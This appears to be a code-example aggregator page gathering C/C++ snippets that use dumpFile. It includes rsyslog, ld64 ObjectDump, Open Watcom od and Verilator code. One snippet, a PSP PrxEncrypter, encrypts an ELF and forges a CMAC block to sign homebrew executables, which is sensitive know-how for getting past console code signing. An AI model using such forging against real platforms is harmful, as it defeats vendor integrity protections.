                        output << xT("\t\tText size: ") << textSymbol->size << std::endl;
                        output << xT("\t\tText shadow radius: ") << textSymbol->shadowRadius << std::endl;
                        output << xT("\t\tText shadow color: ") << QStringToStlString(textSymbol->shadowColor.toString()) << std::endl;
                        output << xT("\t\tText wrap width: ") << textSymbol->wrapWidth << std::endl;
                        output << xT("\t\tText is bold: ") << (textSymbol->isBold ? xT("yes") : xT("no")) << std::endl;
                        output << xT("\t\tText is italic: ") << (textSymbol->isItalic ? xT("yes") : xT("no")) << std::endl;
                        output << xT("\t\tShield resource name: ") << QStringToStlString(textSymbol->shieldResourceName) << std::endl;
                    }
                    else if (iconSymbol)
                    {
                        output << xT("\t\tIcon resource name: ") << QStringToStlString(iconSymbol->resourceName) << std::endl;
                        for (const auto& overlayResoucreName : iconSymbol->overlayResourceNames)
                            output << xT("\t\tOverlay resource name: ") << QStringToStlString(overlayResoucreName) << std::endl;
                        output << xT("\t\tShield resource name: ") << QStringToStlString(iconSymbol->shieldResourceName) << std::endl;
                        output << xT("\t\tIntersection size: ") << iconSymbol->intersectionSize << std::endl;
                    }

                    symbolIndex++;
                }
            }
        }

        break;
    }

    return success;
}
コード例 #18
0
int main(int argc, char **argv)
{
	header_keys keys;
	u8 rawkheaderBk[0x90];

	if(argc < 2)
	{
		printf("USAGE: PrxEncrypter [prx]\n");
		return 0;
	}

	memset(in_buffer, 0, sizeof(in_buffer));
	memset(out_buffer, 0, sizeof(out_buffer));
	memset(kirk_raw, 0, sizeof(kirk_raw));
	memset(kirk_enc, 0, sizeof(kirk_enc));
	memset(elf, 0, sizeof(elf));

	kirk_init();

	int elfSize = load_elf(argv[1]);

	if(elfSize < 0) {
		printf("Cannot open %s\n", argv[1]);

		return 0;
	}

	Header_List *target_header = get_header_list( elfSize );

	if( target_header == NULL ) {
		printf("PRX SIGNER: Elf is to big\n");

		return 0;
	}

	u8 *kirkHeader	= target_header->kirkHeader;
	u8 *pspHeader	= target_header->pspHeader;
	int krawSize = get_kirk_size(kirkHeader);

	if (is_compressed(pspHeader)) {
		elfSize = get_elf_size(pspHeader);
		gzip_compress(elf, elf, elfSize);
	}

	memcpy(kirk_raw, kirkHeader, 0x110);
	memcpy(rawkheaderBk, kirk_raw, sizeof(rawkheaderBk));

	kirk_decrypt_keys((u8*)&keys, kirk_raw);
	memcpy(kirk_raw, &keys, sizeof(header_keys));
	memcpy(kirk_raw+0x110, elf, elfSize);

	if(kirk_CMD0(kirk_enc, kirk_raw, sizeof(kirk_enc), 0) != 0)
	{
		printf("PRX SIGNER: Could not encrypt elf\n");
		return 0;
	}

	memcpy(kirk_enc, rawkheaderBk, sizeof(rawkheaderBk));

	if(kirk_forge(kirk_enc, sizeof(kirk_enc)) != 0)
	{
		printf("PRX SIGNER: Could not forge cmac block\n");

		return 0;
	}

	memcpy(out_buffer, pspHeader, 0x150);
	memcpy(out_buffer+0x150, kirk_enc+0x110, krawSize-0x110);

	return dumpFile("./data.psp", out_buffer, (krawSize-0x110)+0x150);
}
コード例 #19
0
ファイル: rsgtutil.c プロジェクト: ebroder/rsyslog
static void
processFile(char *name)
{
    char errbuf[4096];

    switch(mode) {
    case MD_DETECT_FILE_TYPE:
        if(verbose)
            fprintf(stdout, "ProcessMode: Detect Filetype\n");
#ifdef ENABLEGT
        if (apimode == API_GT)
            detectFileType(name);
#endif
#ifdef ENABLEKSI
        if (apimode == API_KSI)
            detectFileTypeKSI(name);
#endif
        break;
    case MD_DUMP:
        if(verbose)
            fprintf(stdout, "ProcessMode: Dump FileHashes\n");

        if (apimode == API_GT)
#ifdef ENABLEGT
            dumpFile(name);
#else
            fprintf(stderr, "ERROR, unable to perform dump using GuardTime Api, rsyslog need to be configured with --enable-guardtime.\n");
#endif
        if (apimode == API_KSI)
#ifdef ENABLEKSI
            dumpFileKSI(name);
#else
            fprintf(stderr, "ERROR, unable to perform dump using GuardTime KSI Api, rsyslog need to be configured with --enable-gt-ksi.\n");
#endif
        break;
    case MD_SHOW_SIGBLK_PARAMS:
        if(verbose)
            fprintf(stdout, "ProcessMode: Show SigBlk Params\n");
#ifdef ENABLEGT
        if (apimode == API_GT)
            showSigblkParams(name);
#endif
#ifdef ENABLEKSI
        if (apimode == API_KSI)
            showSigblkParamsKSI(name);
#endif
        break;
    case MD_CONVERT:
#ifdef ENABLEGT
        if (apimode == API_GT)
            convertFile(name);
#endif
#ifdef ENABLEKSI
        if (apimode == API_KSI)
            convertFileKSI(name);
#endif
        break;
    case MD_VERIFY:
    case MD_EXTEND:
        if(verbose)
            fprintf(stdout, "ProcessMode: Verify/Extend\n");
        verify(name, errbuf);
        break;
    }
}
コード例 #20
0
ファイル: ObjectDump.cpp プロジェクト: rotten-apples/ld64
int main(int argc, const char* argv[])
{
	if(argc<2) {
		usage();
		return 0;
	}

	ObjectFile::ReaderOptions options;
	options.fAddCompactUnwindEncoding = true;
	try {
		for(int i=1; i < argc; ++i) {
			const char* arg = argv[i];
			if ( arg[0] == '-' ) {
				if ( strcmp(arg, "-no_content") == 0 ) {
					sDumpContent = false;
				}
				else if ( strcmp(arg, "-nm") == 0 ) {
					sNMmode = true;
				}
				else if ( strcmp(arg, "-stabs") == 0 ) {
					sDumpStabs = true;
				}
				else if ( strcmp(arg, "-no_sort") == 0 ) {
					sSort = false;
				}
				else if ( strcmp(arg, "-arch") == 0 ) {
					const char* arch = ++i<argc? argv[i]: "";
					if ( strcmp(arch, "ppc64") == 0 )
						sPreferredArch = CPU_TYPE_POWERPC64;
					else if ( strcmp(arch, "ppc") == 0 )
						sPreferredArch = CPU_TYPE_POWERPC;
					else if ( strcmp(arch, "i386") == 0 )
						sPreferredArch = CPU_TYPE_I386;
					else if ( strcmp(arch, "x86_64") == 0 )
						sPreferredArch = CPU_TYPE_X86_64;
					else if ( strcmp(arch, "arm") == 0 )
						sPreferredArch = CPU_TYPE_ARM;
					else if ( strcmp(arch, "armv4t") == 0 ) {
						sPreferredArch = CPU_TYPE_ARM;
						sPreferredSubArch = CPU_SUBTYPE_ARM_V4T;
					}
					else if ( strcmp(arch, "armv5") == 0 ) {
						sPreferredArch = CPU_TYPE_ARM;
						sPreferredSubArch = CPU_SUBTYPE_ARM_V5TEJ;
					}
					else if ( strcmp(arch, "armv6") == 0 ) {
						sPreferredArch = CPU_TYPE_ARM;
						sPreferredSubArch = CPU_SUBTYPE_ARM_V6;
					}
					else if ( strcmp(arch, "armv7") == 0 ) {
						sPreferredArch = CPU_TYPE_ARM;
						sPreferredSubArch = CPU_SUBTYPE_ARM_V7;
					}
					else 
						throwf("unknown architecture %s", arch);
				}
				else if ( strcmp(arg, "-only") == 0 ) {
					sMatchName = ++i<argc? argv[i]: NULL;
				}
				else if ( strcmp(arg, "-align") == 0 ) {
					sPrintRestrict = true;
					sPrintAlign = true;
				}
				else if ( strcmp(arg, "-name") == 0 ) {
					sPrintRestrict = true;
					sPrintName = true;
				}
				else {
					usage();
					throwf("unknown option: %s\n", arg);
				}
			}
			else {
				ObjectFile::Reader* reader = createReader(arg, options);
				dumpFile(reader);
			}
		}
	}
	catch (const char* msg) {
		fprintf(stderr, "ObjDump failed: %s\n", msg);
		return 1;
	}
	
	return 0;
}
コード例 #21
0
ファイル: od.c プロジェクト: ABratovic/open-watcom-v2
void main( int argc, char **argv )
{
    FILE       *fp;
    int         ch;

    format      fmt     = { 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 };
    char        fmtset  = 0;

    argv = ExpandEnv( &argc, argv );

    for( ;; ) {
        ch = GetOpt( &argc, argv, "bcdDhoOsSxX", usageMsg );
        if( ch == -1 ) {
            break;
        }
        if( strchr( "bcdDhoOsSxX", ch ) != NULL ) {
            fmtset = 1;
            switch( ch ) {                      // switch to set format type
                case 'h':
                    fmt.b_hex = 1;
                    break;
                case 'b':
                    fmt.b_oct = 1;
                    break;
                case 'c':
                    fmt.b_asc = 1;
                    break;
                case 'd':
                    fmt.w_dec = 1;
                    break;
                case 'D':
                    fmt.dw_dec = 1;
                    break;
                case 'o':
                    fmt.w_oct = 1;
                    break;
                case 'O':
                    fmt.dw_oct = 1;
                    break;
                case 's':
                    fmt.w_sgn = 1;
                    break;
                case 'S':
                    fmt.dw_sgn = 1;
                    break;
                case 'x':
                    fmt.w_hex = 1;
                    break;
                case 'X':
                    fmt.dw_hex = 1;
                    break;
            }
        }
    }
    if( !fmtset ) {
        fmt.w_oct = 1;                          // set default (octal words)
    }

    argv++;
    if( *argv == NULL || **argv == '+' ) {
        if( *argv != NULL ) {
            parseOffset( *argv, &fmt );         // get specified offset
            if( fmt.offset < 0 ) {
                Die( "od: invalid offset\n" );  // error
            }
        }
        setmode( STDIN_FILENO, O_BINARY );      // switch stdin to binary mode
        dumpFile( stdin, &fmt );
    } else {
        if( argc == 3 ) {
            parseOffset( *(argv + 1), &fmt );   // get specified offset
            if( fmt.offset < 0 ) {
                Die( "od: invalid offset\n" );  // error
            }
        }
        if( (fp = fopen( *argv, "rb" )) == NULL ) {
            Die( "od: cannot open input file \"%s\"\n", *argv );
        }
        dumpFile( fp, &fmt );
        fclose( fp );
    }
}
コード例 #22
0
ファイル: V3Hashed.cpp プロジェクト: phb/verilator-asserts
void V3Hashed::dumpFilePrefixed(const string& nameComment, bool tree) {
    if (v3Global.opt.dumpTree()) {
	dumpFile(v3Global.debugFilename(nameComment)+".hash", tree);
    }
}